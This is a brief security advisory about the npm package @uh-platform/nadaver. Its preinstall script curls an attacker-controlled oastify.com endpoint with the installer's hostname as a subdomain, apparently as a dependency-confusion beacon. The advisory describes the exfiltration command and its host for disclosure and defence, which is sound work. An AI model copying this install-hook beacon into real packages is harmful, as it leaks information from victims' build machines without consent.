Summary
Malicious code in @uh-platform/nadaver (npm)
Details

On npm install, the package's preinstall script executes node index.js, which shells out curl to http://$(hostname).nadaver.pa33pg1od9cr4ffnrzec8864jvpmdd12.oastify.com/, embedding the installer machine's hostname as a subdomain of an attacker-controlled Burp Collaborator (oastify.com) endpoint. Both DNS resolution and the HTTP request leak the installer's hostname to the attacker on every install, with no user interaction. The @uh-platform scope combined with an unusually high version number (102.0.0) is consistent with a dependency-confusion beacon aimed at internal build systems that resolve the scope against the public npm registry.
